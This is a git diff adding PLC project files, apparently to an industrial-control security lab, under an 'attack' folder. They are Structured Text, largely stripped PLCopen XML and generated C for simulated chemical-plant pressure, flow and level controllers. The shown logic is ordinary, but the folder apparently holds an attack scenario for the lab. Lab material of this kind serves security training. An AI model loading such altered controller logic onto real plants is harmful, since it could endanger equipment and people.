initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + 